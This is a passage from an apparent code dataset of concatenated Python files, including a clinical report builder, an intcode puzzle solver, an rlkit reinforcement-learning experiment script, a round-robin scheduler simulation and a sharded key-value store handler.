self.__mutations_section(output_fpath),\n 'total_key_genes': Metric.format_value(len(self.key_gene_names), is_html=True),\n 'main_tab_name': '', 'hidden_mutations_warning': '', 'secondary_tab_name': ''}\n if self.experiment.mutations:\n if self.experiment.genes_collection_type == 'target':\n data['main_tab_name'] = 'known, likely in ' + data['total_key_genes'] + ' target genes'\n data['secondary_tab_name'] = '+ unknown'\n else:\n data['main_tab_name'] = 'known, likely in ' + data['total_key_genes'] + ' key genes'\n in_key_genes = sum(1 for m in self.experiment.mutations if m.gene.is_key)\n if self.experiment.total_mutations > ngs_report_mutation_table_limit and in_key_genes > 0:\n data['secondary_tab_name'] = '+ unknown'\n data['hidden_mutations_warning'] = ('The number of mutations is too big (' +\n str(self.experiment.total_mutations) + '), hiding non-key gene mutations. '\n 'Download full list in TSV')\n else:\n data['secondary_tab_name'] = '+ unknown'\n\n if self.experiment.target.bed_fpath:\n target_genes = get_bed_genes(self.experiment.target.bed_fpath)\n data['total_target_genes'] = Metric.format_value(len(target_genes), is_html=True)\n\n data['min_af'] = str(float(self.min_freq) * 100)\n data['act_min_af'] = str(float(self.act_min_freq) * 100)\n\n data['comment_php_path'] = None\n\n def _get_static_file(_fname):\n return join(dirname(abspath(__file__)), pardir, 'static', _fname)\n write_static_html_report(data, output_fpath,\n tmpl_fpath=join(dirname(abspath(__file__)), 'template.html'),\n extra_js_fpaths=[_get_static_file(fname) for fname in [\n 'clinical_report.js',\n # 'draw_mutations_plot.js',\n # 'draw_substitutions_plot.js',\n 'd3.min.js',\n 'd3.tip.js',\n 'queue.js']],\n extra_css_fpaths=[_get_static_file(fname) for fname in [\n 'clinical_report.css',\n 'header_picture.css']])\n\n debug('Saved clinical report to ' + output_fpath)\n debug('-' * 70)\n debug()\n return output_fpath\n\n def __mutations_section(self, output_fpath):\n mutations_dict = dict()\n if self.mutations_report:\n self.mutations_report.keep_order = True\n mutations_dict['table'] = build_report_html(self.mutations_report, sortable=True)\n mutations_dict['total_variants'] = Metric.format_value(self.experiment.total_variants, is_html=True)\n mutations_dict['plot_data'] = self.mutations_plot_data\n mutations_dict['substitutions_plot_data'] = self.substitutions_plot_data\n mutations_dict['variants_tsv'] = relpath(self.experiment.mutations_fpath, dirname(output_fpath))\n mutations_dict['variants_tsv_basename'] = basename(self.experiment.mutations_fpath)\n\n return mutations_dict\n\n\ndef tooltip_long(string, max_len=30):\n if len(string) < max_len:\n return string\n else:\n return '' + string[:max_len - 2] + '...'\n\n","sub_path":"ngs_reporting/clinical_report/clinical_reporting.py","file_name":"clinical_reporting.py","file_ext":"py","file_size_in_byte":73660,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"36"} +{"seq_id":"218872616","text":"import operator\nimport re\n\n\ndef result(noun, verb):\n with open(\"input\") as file:\n program = [int(x) for x in re.findall(r\"\\d+\", file.read())]\n\n program[1] = noun\n program[2] = verb\n\n pc = 0\n while 0 <= pc < len(program) and program[pc] != 99:\n opcode, a, b, dest = program[pc:pc+4]\n op = operator.add if opcode == 1 else operator.mul\n program[dest] = op(program[a], program[b])\n pc += 4\n\n return program[0]\n\nprint(result(12,2))\n\nfor noun in range(100):\n for verb in range(100):\n if result(noun, verb) == 19690720:\n print(100 * noun + verb)\n exit(0)","sub_path":"02/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":633,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"36"} +{"seq_id":"164389211","text":"from multiprocessing import Process, Lock, Condition\r\n\r\nimport mmap\r\nimport os\r\nimport time\r\nimport math\r\nfrom functools import reduce\r\n\r\nimport numpy as np\r\n\r\nTIMES = 1000\r\nIMAGE_SHAPE = (720, 1280, 3)\r\nIMAGE_COUNT = reduce(lambda acc, v: acc * v, IMAGE_SHAPE)\r\n__pages_for_image = math.ceil(IMAGE_COUNT / mmap.PAGESIZE)\r\nBUFFER_SIZE = mmap.PAGESIZE * (__pages_for_image + 1)\r\n\r\ndef consume(file_descriptor, condition):\r\n buffer = mmap.mmap(file_descriptor, BUFFER_SIZE, mmap.MAP_SHARED, mmap.PROT_READ)\r\n send_processing = []\r\n byte_processing = []\r\n sending = []\r\n with condition:\r\n for i in range(TIMES):\r\n condition.wait(1)\r\n dummy = np.frombuffer(buffer, dtype=np.uint8, count=IMAGE_COUNT)\r\n times = np.frombuffer(buffer[-16:], dtype=np.float)\r\n toc = time.time()\r\n dummy = dummy.reshape(*IMAGE_SHAPE)\r\n common_tic = times[0]\r\n sending_tic = times[1]\r\n full_time = (toc - common_tic) * 1000\r\n sending_time = (toc - sending_tic) * 1000\r\n send_processing.append(full_time)\r\n byte_processing.append(full_time - sending_time)\r\n sending.append(sending_time)\r\n if i % 100 == 0:\r\n print(\"{}/{}\".format(i, TIMES))\r\n send_processing = send_processing[5:-5]\r\n byte_processing = byte_processing[5:-5]\r\n sending = sending[5:-5]\r\n print(\"MMAP sending preprocessed bytes: {} ms\".format(sum(send_processing) / len(send_processing)))\r\n print(\"Bytes procesing: {} ms\".format(sum(byte_processing) / len(byte_processing)))\r\n print(\"Bytes sending: {} ms\".format(sum(sending) / len(sending)))\r\n \r\n\r\ndef produce(file_descriptor, condition):\r\n buffer = mmap.mmap(file_descriptor, BUFFER_SIZE, mmap.MAP_SHARED, mmap.PROT_WRITE)\r\n for i in range(TIMES):\r\n with condition:\r\n dummy = np.random.rand(*IMAGE_SHAPE).astype(dtype=np.uint8)\r\n common_tic = time.time()\r\n dummy_bytes = dummy.tobytes()\r\n sending_tic = time.time()\r\n time_bytes = np.asarray([common_tic, sending_tic], dtype=np.float).tobytes()\r\n buffer[:IMAGE_COUNT] = dummy_bytes\r\n buffer[-16:] = time_bytes\r\n condition.notify()\r\n\r\nif __name__ == '__main__':\r\n file_descriptor = os.open('test.mmap', os.O_CREAT | os.O_RDWR | os.O_TRUNC)\r\n os.write(file_descriptor, b'\\x00' * BUFFER_SIZE)\r\n cond = Condition()\r\n producer = Process(target=produce, args=(file_descriptor, cond))\r\n consumer = Process(target=consume, args=(file_descriptor, cond))\r\n consumer.start()\r\n time.sleep(0.3)\r\n producer.start()\r\n consumer.join()\r\n producer.join()\r\n os.close(file_descriptor)\r\n\r\n","sub_path":"memory_map.py","file_name":"memory_map.py","file_ext":"py","file_size_in_byte":2771,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"36"} +{"seq_id":"381314488","text":"\"\"\"\nCrie um programa que leia vários números e coloque em uma\nlista e depois crie duas listas extras que conteram apenas os valores pares\ne outra com os valores ímpares.\n\"\"\"\nfrom random import shuffle\nlista = []\npares = []\n\nwhile True:\n i = int(input('Escreva um número '))\n if i % 2 == 0:\n pares.append(i)\n else:\n lista.append(i)\n conti = str(input('Quer continuar? [Y/n] ')).lower()\n if 'n' in conti:\n break\nlist2 = pares+lista\nshuffle(list2)\nprint(f\"\"\"\nA lista completa é {list2}\nSomente com números pares {pares}\nSomente os números ímpares {lista}\n\"\"\")\n\n","sub_path":"desafios/desafio82.py","file_name":"desafio82.py","file_ext":"py","file_size_in_byte":602,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"36"} +{"seq_id":"317436595","text":"\"\"\"Convert ZConfig configurations/files to ConfigParser style.\n\"\"\"\nimport re\nimport cStringIO as StringIO\nfrom ZConfigParser import schemaless, loadSchema\nfrom xml.dom.minidom import parse, parseString\n\ndef convertFile(filepath):\n converter = ZConfConverter()\n return converter.convertFile(filepath)\n\nclass ZConfConverter(object):\n \"\"\"Converter that turns ZConfig files into ZConfigParser configs.\n \"\"\"\n\n defines = ''\n\n def convertFile(self, filepath):\n content = self.preprocess(open(filepath, 'rb').read())\n tree = parseString(content)\n defines, text = self.convertNode(tree.childNodes[0])\n return self.postprocess(defines, text)\n \n \n def preprocess(self, content):\n # We need some encapsulating tag to get a complete tree.\n content = '%s' % content\n \n # Replace 'invalid' tags like by valid tags,\n # . Otherwise the minidom parser will\n # refuse our config.\n content = re.sub('<([^ >]+) ([^>]+)>', '<\\\\1 name=\"\\\\2\">', content)\n return content\n\n def postprocess(self, defines, text):\n if len(defines):\n return '[DEFAULT]\\n%s\\n[zope]\\n%s' % (defines, text)\n return '[zope]\\n%s' % (text)\n\n def convertNode(self, node, prefix='zope'):\n body = \"\"\n subsections = \"\"\n defines = \"\"\n references = []\n for child in node.childNodes:\n if child.nodeType == child.TEXT_NODE:\n new_defines, text = self.handleTextNode(child)\n body += text\n defines += new_defines\n continue\n \n # Get a unique subsection name if several with the same name\n # occur in the same section.\n num = 0\n child_name = child.nodeName\n child_is_list_item = False\n while child_name in references:\n child_is_list_item = True\n num += 1\n child_name = '%s.%s' % (child.nodeName, num)\n references.append(child_name)\n \n child_prefix = '%s/%s' % (prefix, child_name)\n if not child_is_list_item:\n body += '%s = %s\\n' % (child_name, child_prefix)\n else:\n body += '%s%s\\n' % (' '*(len(child.nodeName) + 3),\n child_prefix)\n\n subsections += \"\\n[%s]\\n\" % child_prefix\n if child.hasAttributes() and 'name' in child.attributes.keys():\n label = child.getAttribute('name').lower()\n subsections += \"config-section-label = %s\\n\" % label\n new_defines, text = self.convertNode(child, prefix=child_prefix)\n subsections += text\n defines += new_defines\n return defines, body + subsections\n\n def handleTextNode(self, node):\n \"\"\"Handle a text node.\n \n Text nodes may consist of several lines. Handle each separately.\n \"\"\"\n text = node.data.strip()\n result = \"\"\n defines = \"\"\n if text == u'':\n return '', ''\n for line in text.split('\\n'):\n new_defines, text = self.handleTextLine(line)\n defines += new_defines\n result += text\n return defines, result\n\n def handleTextLine(self, line):\n \"\"\"Handle a text line.\n\n Replace defines, \n \"\"\"\n is_define = False\n line = line.strip()\n if line.startswith('%define'):\n line = re.sub('%define\\s+([^\\s+].+)', '\\\\1', line)\n is_define = True\n if line.startswith('#'):\n pass\n elif ' ' in line:\n line = re.sub('([^\\s]+)\\s+(.+)', '\\\\1 = \\\\2', line)\n line = re.sub('\\$([A-Za-z0-9_]+)', '%(\\\\1)s', line)\n line += '\\n'\n if is_define:\n return line, ''\n return '', line\n","sub_path":"Sandbox/ulif/ZConfigParser/ZConfigParser/convert.py","file_name":"convert.py","file_ext":"py","file_size_in_byte":3907,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"36"} +{"seq_id":"16796119","text":"# 변수를 선언하는 방법과, 파이썬 자료형\n\n# () -> 소괄호\n# [] -> 대괄호\n# {} -> 중괄호\n\nmy=123\n\nmy_list = [] # index -> item\nmy_list2 = []\n\nmy_list.append(my)\n\nmy_dict = {} # 빈 사전을 만듦.\nmy_dict[\"apple\"] = \"사과\" # key값이 apple 이고 value가 사과인 값을 사전에 추가\nmy_dict[\"banana\"] = \"바나나\"\nmy_dict[\"list\"] = my_list\n\nmy_dict[\"list\"].append(\"test\")\nprint(my_dict)\n\n\n# key (index) -> value\n# list -> index\n# dict -> key(apple), value(사과)\n\n\n\n\n","sub_path":"example01.py","file_name":"example01.py","file_ext":"py","file_size_in_byte":503,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"36"} +{"seq_id":"331949106","text":"#! /usr/bin/env python3\n\n\"\"\"\nLe module \"Hydrophobe\" contient 2 fonctions qui permettent\nde sélectionner les résidus hydrophobes et ensuite de calculer\nla distance qui existe entre leur carbone Apha.\n\"\"\"\n\ndef Select_Hydro(ListAtom, RESD_Hydro):\n \"\"\"\n Sélectionne la liste des atomes succeptibles de créer des \n Liasons Hydrophobes\n\n Argument(s): (1)Liste des objets \"atome\"\n (2)Liste des résidus hydrophobes\n \"\"\"\n List_Hydro = []\n for atome in ListAtom:\n if atome.Resid in RESD_Hydro and atome.Nom==\"CA\":\n List_Hydro.append(atome)\n\n return List_Hydro\n\n\n\ndef Calc_Int_Hydro(List_Hydro):\n \"\"\"\n Calcule les distances entre les carbones Alpha des résidus hydrophobes.\n Renvoie une Liste de Liste contenant le couple d'atomes qui interagit.\n\n Argument(s): Liste des objets \"atome\" hydrophobes\n \"\"\"\n Hydrop = []\n for at1 in List_Hydro:\n for at2 in List_Hydro:\n if round(((float(at1.x)-float(at2.x))**2 + (float(at1.y)-float(at2.y))**2 + \\\n (float(at1.z)-float(at2.z))**2)**0.5, 2) < 5.3 \\\n and round(((float(at1.x)-float(at2.x))**2 + (float(at1.y)-float(at2.y))**2 \\\n + (float(at1.z)-float(at2.z))**2)**0.5, 2) > 0:\n Hydrop.append([at1, at2])\n return Hydrop\n\n","sub_path":"Programme/Hydrophobe.py","file_name":"Hydrophobe.py","file_ext":"py","file_size_in_byte":1319,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"343038275","text":"import gym\n\nfrom rlkit.demos.source.mdp_path_loader import MDPPathLoader\nfrom rlkit.data_management.env_replay_buffer import EnvReplayBuffer, AWREnvReplayBuffer\nfrom rlkit.envs.wrappers import NormalizedBoxEnv\nimport rlkit.torch.pytorch_util as ptu\nfrom rlkit.samplers.data_collector import MdpPathCollector\nfrom rlkit.samplers.data_collector.step_collector import MdpStepCollector\nfrom rlkit.torch.networks import ConcatMlp\nimport rlkit.misc.hyperparameter as hyp\nfrom rlkit.torch.sac.awac_trainer import AWACTrainer\nfrom rlkit.torch.sac.policies import MakeDeterministic, TanhGaussianPolicy, GaussianPolicy\nfrom rlkit.torch.torch_rl_algorithm import (\n TorchBatchRLAlgorithm,\n TorchOnlineRLAlgorithm,\n)\n\nfrom gym.envs.mujoco import (\n HalfCheetahEnv,\n AntEnv,\n Walker2dEnv,\n HopperEnv,\n)\n\nfrom rlkit.launchers.launcher_util import run_experiment\n\nENV_PARAMS = {\n 'half-cheetah': { # 6 DoF\n 'env_class': HalfCheetahEnv,\n 'num_expl_steps_per_train_loop': 1000,\n 'max_path_length': 1000,\n 'num_epochs': 1000,\n 'demo_path':\"demos/hc_action_noise_1000.npy\",\n 'bc_num_pretrain_steps':200000,\n },\n 'hopper': { # 6 DoF\n 'env_class': HopperEnv,\n 'num_expl_steps_per_train_loop': 1000,\n 'max_path_length': 1000,\n 'num_epochs': 1000,\n 'demo_path':\"demos/hopper_action_noise_1000.npy\",\n 'bc_num_pretrain_steps':1000000,\n },\n 'ant': { # 6 DoF\n 'env_class': AntEnv,\n 'num_expl_steps_per_train_loop': 1000,\n 'max_path_length': 1000,\n 'num_epochs': 3000,\n 'demo_path':\"demos/ant_action_noise_1000.npy\",\n 'bc_num_pretrain_steps':1000000,\n },\n 'walker': { # 6 DoF\n 'env_class': Walker2dEnv,\n 'num_expl_steps_per_train_loop': 1000,\n 'max_path_length': 1000,\n 'num_epochs': 3000,\n 'demo_path':\"demos/walker_action_noise_1000.npy\",\n 'bc_num_pretrain_steps':100000,\n },\n}\n\ndef experiment(variant):\n env_params = ENV_PARAMS[variant['env']]\n variant.update(env_params)\n variant['path_loader_kwargs']['demo_path'] = env_params['demo_path']\n variant['trainer_kwargs']['bc_num_pretrain_steps'] = env_params['bc_num_pretrain_steps']\n\n if 'env_id' in env_params:\n expl_env = NormalizedBoxEnv(gym.make(env_params['env_id']))\n eval_env = NormalizedBoxEnv(gym.make(env_params['env_id']))\n else:\n expl_env = NormalizedBoxEnv(variant['env_class']())\n eval_env = NormalizedBoxEnv(variant['env_class']())\n obs_dim = expl_env.observation_space.low.size\n action_dim = eval_env.action_space.low.size\n N = variant['num_layers']\n M = variant['layer_size']\n qf1 = ConcatMlp(\n input_size=obs_dim + action_dim,\n output_size=1,\n hidden_sizes=[M]*N,\n )\n qf2 = ConcatMlp(\n input_size=obs_dim + action_dim,\n output_size=1,\n hidden_sizes=[M] * N,\n )\n target_qf1 = ConcatMlp(\n input_size=obs_dim + action_dim,\n output_size=1,\n hidden_sizes=[M] * N,\n )\n target_qf2 = ConcatMlp(\n input_size=obs_dim + action_dim,\n output_size=1,\n hidden_sizes=[M] * N,\n )\n policy = variant.get('policy_class', TanhGaussianPolicy)(\n obs_dim=obs_dim,\n action_dim=action_dim,\n hidden_sizes=[M] * N,\n max_log_std=0,\n min_log_std=-6,\n )\n eval_policy = MakeDeterministic(policy)\n eval_path_collector = MdpPathCollector(\n eval_env,\n eval_policy,\n )\n replay_buffer = AWREnvReplayBuffer(\n variant['replay_buffer_size'],\n expl_env,\n use_weights=variant['use_weights'],\n policy=policy,\n qf1=qf1,\n weight_update_period=variant['weight_update_period'],\n beta=variant['trainer_kwargs']['beta'],\n )\n trainer = AWACTrainer(\n env=eval_env,\n policy=policy,\n qf1=qf1,\n qf2=qf2,\n target_qf1=target_qf1,\n target_qf2=target_qf2,\n **variant['trainer_kwargs']\n )\n if variant['collection_mode'] == 'online':\n expl_path_collector = MdpStepCollector(\n expl_env,\n policy,\n )\n algorithm = TorchOnlineRLAlgorithm(\n trainer=trainer,\n exploration_env=expl_env,\n evaluation_env=eval_env,\n exploration_data_collector=expl_path_collector,\n evaluation_data_collector=eval_path_collector,\n replay_buffer=replay_buffer,\n max_path_length=variant['max_path_length'],\n batch_size=variant['batch_size'],\n num_epochs=variant['num_epochs'],\n num_eval_steps_per_epoch=variant['num_eval_steps_per_epoch'],\n num_expl_steps_per_train_loop=variant['num_expl_steps_per_train_loop'],\n num_trains_per_train_loop=variant['num_trains_per_train_loop'],\n min_num_steps_before_training=variant['min_num_steps_before_training'],\n )\n else:\n expl_path_collector = MdpPathCollector(\n expl_env,\n policy,\n )\n algorithm = TorchBatchRLAlgorithm(\n trainer=trainer,\n exploration_env=expl_env,\n evaluation_env=eval_env,\n exploration_data_collector=expl_path_collector,\n evaluation_data_collector=eval_path_collector,\n replay_buffer=replay_buffer,\n max_path_length=variant['max_path_length'],\n batch_size=variant['batch_size'],\n num_epochs=variant['num_epochs'],\n num_eval_steps_per_epoch=variant['num_eval_steps_per_epoch'],\n num_expl_steps_per_train_loop=variant['num_expl_steps_per_train_loop'],\n num_trains_per_train_loop=variant['num_trains_per_train_loop'],\n min_num_steps_before_training=variant['min_num_steps_before_training'],\n )\n algorithm.to(ptu.device)\n\n demo_train_buffer = EnvReplayBuffer(\n variant['replay_buffer_size'],\n expl_env,\n )\n demo_test_buffer = EnvReplayBuffer(\n variant['replay_buffer_size'],\n expl_env,\n )\n path_loader_class = variant.get('path_loader_class', MDPPathLoader)\n path_loader = path_loader_class(trainer,\n replay_buffer=replay_buffer,\n demo_train_buffer=demo_train_buffer,\n demo_test_buffer=demo_test_buffer,\n **variant['path_loader_kwargs']\n )\n if variant.get('load_demos', False):\n path_loader.load_demos()\n if variant.get('pretrain_policy', False):\n trainer.pretrain_policy_with_bc()\n if variant.get('pretrain_rl', False):\n trainer.pretrain_q_with_bc_data()\n if variant.get('train_rl', True):\n algorithm.train()\n\nif __name__ == \"__main__\":\n variant = dict(\n num_epochs=3000,\n num_eval_steps_per_epoch=5000,\n num_trains_per_train_loop=1000,\n num_expl_steps_per_train_loop=1000,\n min_num_steps_before_training=1000,\n max_path_length=1000,\n batch_size=256,\n replay_buffer_size=int(1E6),\n layer_size=256,\n num_layers=2,\n algorithm=\"SAC BC\",\n version=\"normal\",\n collection_mode='batch',\n sac_bc=True,\n load_demos=True,\n pretrain_policy=True,\n pretrain_rl=True,\n trainer_kwargs=dict(\n discount=0.99,\n soft_target_tau=5e-3,\n target_update_period=1,\n policy_lr=3E-4,\n qf_lr=3E-4,\n reward_scale=1,\n beta=1,\n use_automatic_entropy_tuning=True,\n bc_num_pretrain_steps=1000000,\n q_num_pretrain1_steps=0,\n q_num_pretrain2_steps=10000,\n policy_weight_decay=1e-4,\n bc_loss_type=\"mse\",\n compute_bc=False,\n weight_loss=False,\n ),\n path_loader_kwargs=dict(\n demo_path=None\n ),\n weight_update_period=10000,\n )\n\n search_space = {\n 'use_weights':[True],\n # 'weight_update_period':[1000, 10000],\n 'trainer_kwargs.use_automatic_entropy_tuning':[False],\n 'trainer_kwargs.bc_num_pretrain_steps':[1000],\n 'trainer_kwargs.bc_weight':[1],\n 'trainer_kwargs.alpha':[0],\n 'trainer_kwargs.weight_loss':[True],\n # 'trainer_kwargs.q_num_pretrain2_steps':[10000],\n 'trainer_kwargs.beta':[\n 10,\n # 100,\n ],\n 'layer_size':[256,],\n 'num_layers':[2],\n 'train_rl':[False],\n 'pretrain_rl':[False],\n 'load_demos':[True],\n 'pretrain_policy':[True],\n 'env': [\n # 'ant',\n 'half-cheetah',\n # 'walker',\n # 'hopper',\n ],\n 'policy_class':[\n # TanhGaussianPolicy,\n GaussianPolicy,\n ],\n 'trainer_kwargs.bc_loss_type':[\n 'mse'\n ],\n 'trainer_kwargs.awr_loss_type':[\n 'mse',\n ]\n\n }\n sweeper = hyp.DeterministicHyperparameterSweeper(\n search_space, default_parameters=variant,\n )\n\n n_seeds = 1\n mode = 'local'\n exp_prefix = 'test'\n\n # n_seeds = 2\n # mode = 'ec2'\n # exp_prefix = 'awr_sac_gym_resampled_v3'\n\n for exp_id, variant in enumerate(sweeper.iterate_hyperparameters()):\n for _ in range(n_seeds):\n run_experiment(\n experiment,\n exp_prefix=exp_prefix,\n mode=mode,\n variant=variant,\n num_exps_per_instance=1,\n use_gpu=True,\n gcp_kwargs=dict(\n preemptible=False,\n ),\n # skip_wait=True,\n )\n","sub_path":"experiments/ashvin/icml2020/mujoco/bc/test1.py","file_name":"test1.py","file_ext":"py","file_size_in_byte":9787,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"225466164","text":"import cola\nimport procesos as ps\nimport recursos as rs\nimport queue\nimport threading\nclass Procesador(threading.Thread):\n def __init__(self,idProcesador,*args):\n threading.Thread.__init__(self)\n self.idProcesador=idProcesador\n self.ocupado=False\n self.proceso=None\n self.lis=cola.Cola()\n self.blo=cola.Cola()\n self.sus=cola.Cola()\n self._args=args\n def __str__(self):\n return str(self.idProcesador)\n def run(self):\n while True:\n self.procesar(*self._args)\n def procesar(self,q):\n while not q.empty():\n self.asignar(q.get())\n if self.lis.es_vacia(): break\n self.proceso=self.lis.desencolar()\n print(\"comenzando proceso \",self.proceso,\" en el procesador \",self)\n self.proceso.procesar()\n self.revisarColaSus()\n self.revisarColaBlo()\n if self.proceso.t>0:\n self.proceso.tr=5\n self.sus.encolar(self.proceso)\n print(\"se reencolo el proceso a suspendidos\")\n else:\n print(\"terminando proceso\",self.proceso,\" en el procesador\",self)\n q.task_done()\n def revisarColaSus(self):\n for i in range(len(self.sus.items)):\n self.sus.items[i].tr-=1\n if not self.sus.es_vacia():\n print(self.sus.items[0],\"tr\",self.sus.items[0].tr)\n print(\" \")\n if self.sus.items[0].tr==0:\n self.lis.encolar(self.sus.desencolar())\n print(\"se saco un proceso y entro a la cola de listo\")\n def revisarColaBlo(self):\n pass\n\n def asignar(self,proceso):\n proceso.quantum=proceso.asignarQ()\n self.lis.encolar(proceso)\n print(\"asignacion\",self.lis.items)\n\nclass cliente:\n def __init__(self):\n self.cola1=queue.Queue()\n self.cola1.put(ps.Malteada(0))\n self.cola2=queue.Queue()\n self.cola2.put(ps.PolloConPapas(0))\n self.cola3=queue.Queue()\n self.cola3.put(ps.Ensalada(0))\n self.procesador1=Procesador(1,self.cola1) \n self.procesador2=Procesador(2,self.cola2) \n self.procesador3=Procesador(3,self.cola3)\n def iniciar(self):\n self.procesador1.start()\n self.procesador2.start()\n self.procesador3.start()\n self.cola1.put(ps.Malteada(1))\n self.cola2.put(ps.PolloConPapas(1))\n self.cola3.put(ps.PolloConPapas(2))\n self.cola1.put(ps.Malteada(2))\n self.cola2.put(ps.Ensalada(1))\n self.cola3.put(ps.PolloConPapas(3))\n self.cola2.put(ps.Malteada(3))\n self.cola1.put(ps.Ensalada(2))\n self.cola2.put(ps.Ensalada(3))\n self.cola1.put(ps.Malteada(4))\n self.cola3.put(ps.PolloConPapas(4))\n self.cola1.put(ps.Ensalada(4))\n self.cola1.put(ps.Malteada(5))\n\n self.cola1.join()\n self.cola2.join()\n self.cola3.join()\n\n \n\ncliente = cliente()\ncliente.iniciar()\n","sub_path":"roundRobin.py","file_name":"roundRobin.py","file_ext":"py","file_size_in_byte":3013,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"155383288","text":"# coding=utf-8\nfrom __future__ import absolute_import, print_function, unicode_literals\nfrom html import unescape\nimport threading\nimport json\nimport redis\n\n\nbotInstance = ''\n\n\ndef setup(bot):\n global botInstance\n botInstance = bot\n t = threading.Thread(name='announce', target=queue)\n t.start()\n\n\ndef queue():\n global botInstance\n redis_conn = redis.StrictRedis(host='localhost', port=6379, db=0)\n p = redis_conn.pubsub(ignore_subscribe_messages=True)\n p.subscribe('irc-announce')\n for message in p.listen():\n if message:\n # do something with the message\n data = json.loads(message['data'].decode('utf8'))\n botInstance.write(('PRIVMSG', data['channel']), unescape(data['msg']))\n","sub_path":"willie/modules/announce.py","file_name":"announce.py","file_ext":"py","file_size_in_byte":746,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"97552127","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Wed Oct 3 19:08:34 2018\n\n@author: mayank\n\"\"\"\n\ni=0\nfor i in range(1,10,1):\n print (i*99)\n","sub_path":"outcomes/rahulkumaran/mayankgitt.py","file_name":"mayankgitt.py","file_ext":"py","file_size_in_byte":154,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"209405195","text":"from dsproj_app.api_functions.get_val_and_payload import val_and_payload\nfrom django.http import JsonResponse\nfrom sys import getsizeof\nfrom os import environ\nfrom dsproj_app.views import get_array_views\nfrom hashlib import sha1\nimport json\nimport re\nfrom urllib.parse import parse_qs\nimport time\nimport requests\nimport random\n\n\ndef put_handling(request, details, key):\n store = details[\"store\"]\n latest_timestamp = details[\"latest_timestamp\"]\n curr_node_vc = details[\"clock\"]\n shards = details[\"shards\"]\n response_content = {}\n\n # OPTION: VALUE MISSING\n if len(request.body) <= 0:\n response_content[\"msg\"] = \"Error\"\n response_content[\"result\"] = \"Error\"\n response_content[\"error\"] = \"Value is missing\"\n return JsonResponse(response_content, status=422)\n\n # OPTION: KEY LENGTH INVALID\n if 0 < len(key) > 200:\n response_content[\"msg\"] = \"Error\"\n response_content[\"result\"] = \"Error\"\n response_content[\"error\"] = \"Key not valid\"\n return JsonResponse(response_content, status=422)\n\n body_unicode = request.body.decode(\"utf-8\")\n body = parse_qs(body_unicode)\n\n payload_json = None\n if \"rebalance\" not in body:\n payload_json = val_and_payload(request.body)[\"payload_json\"]\n else:\n print(\"HIII\")\n\n val = val_and_payload(request.body)[\"val\"]\n\n # OPTION: VALUE SIZE TOO BIG\n if getsizeof(val) > 1024:\n response_content[\"result\"] = \"Error\"\n response_content[\"msg\"] = \"Object too large. Size limit is 1MB\"\n response_content[\"error\"] = \"Key not valid\"\n return JsonResponse(response_content, status=422)\n\n shard_location = None\n print(\"Before: \", payload_json)\n\n # OPTION: NON-EMPTY PAYLOAD (NODES COMMUNICATING)\n if payload_json:\n req_vc = payload_json[\"vc\"]\n req_timestamp = payload_json[\"tstamp\"]\n if (\n \"latest_timestamp\" in payload_json\n and latest_timestamp.get_timestamp() == None\n ):\n latest_timestamp.set_timestamp(payload_json[\"latest_timestamp\"])\n else:\n lt = latest_timestamp.max_timestamp(req_timestamp)\n latest_timestamp.set_timestamp(lt)\n req_position = int(payload_json[\"pos\"])\n\n # OPTION: EMPTY PAYLOAD (USER REQUEST)\n else:\n views = get_array_views()\n req_vc = curr_node_vc.get_vc()\n req_position = views.index(environ.get(\"IP_PORT\"))\n req_timestamp = time.time()\n if latest_timestamp.get_timestamp() == None:\n latest_timestamp.set_timestamp(req_timestamp)\n payload_json[\"latest_timestamp\"] = latest_timestamp.get_timestamp()\n payload_json = {\n \"pos\": req_position,\n \"tstamp\": req_timestamp,\n \"causal_context\": details[\"causal_context\"],\n \"vc\": req_vc,\n }\n details[\"causal_context\"] = None\n binary_key = sha1(key.encode())\n shard_location = int(binary_key.hexdigest(), 16) % shards.get_shard_size()\n\n # OPTION: KEY NEVER EXISTED\n if not store.has_key(key):\n response_content[\"replaced\"] = False\n response_content[\"msg\"] = \"Added successfully\"\n response_content[\"payload\"] = payload_json\n status = 201\n\n # OPTION: KEY ALREADY EXISTS AND IS BEING REPLACED\n elif store.has_key(key):\n response_content[\"replaced\"] = True\n response_content[\"msg\"] = \"Updated successfully\"\n response_content[\"payload\"] = payload_json\n status = 200\n\n members = shards.get_members_in_ID(shard_location)\n # if in right shard\n if shard_location != None:\n if members != None:\n rand_address = random.choice(members)\n if \"rebalance\" in body:\n store.add(key, val, {})\n data = \"val=\" + val + \"&&payload=\" + json.dumps(payload_json)\n response = requests.put(\n \"http://\" + rand_address + \"/keyValue-store/\" + key, data=data\n )\n return JsonResponse(response.json(), status=response.status_code)\n else:\n response_content = {\n \"result\": \"Error\",\n \"msg\": \"No nodes in shard \" + str(shard_location),\n \"payload\": payload_json,\n }\n status = 400\n return JsonResponse(response_content, status=status)\n else:\n if \"rebalance\" not in body:\n curr_node_vc.increment_self()\n payload_json[\"vc\"] = curr_node_vc.get_vc()\n store.add(key, val, payload_json[\"causal_context\"])\n print(\"I AM ADDING KEY\")\n response_content[\"owner\"] = shards.get_my_shard()\n return JsonResponse(response_content, status=status)\n\n return JsonResponse(response_content, status=status)\n","sub_path":"dsproj_app/api_functions/kvs/put.py","file_name":"put.py","file_ext":"py","file_size_in_byte":4753,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"84918248","text":"from PySide2.QtWidgets import QApplication\nfrom binaryninjaui import DockHandler\nfrom PySide2.QtCore import Qt\nfrom .registers_view import RegisterView\nfrom .memory_view import 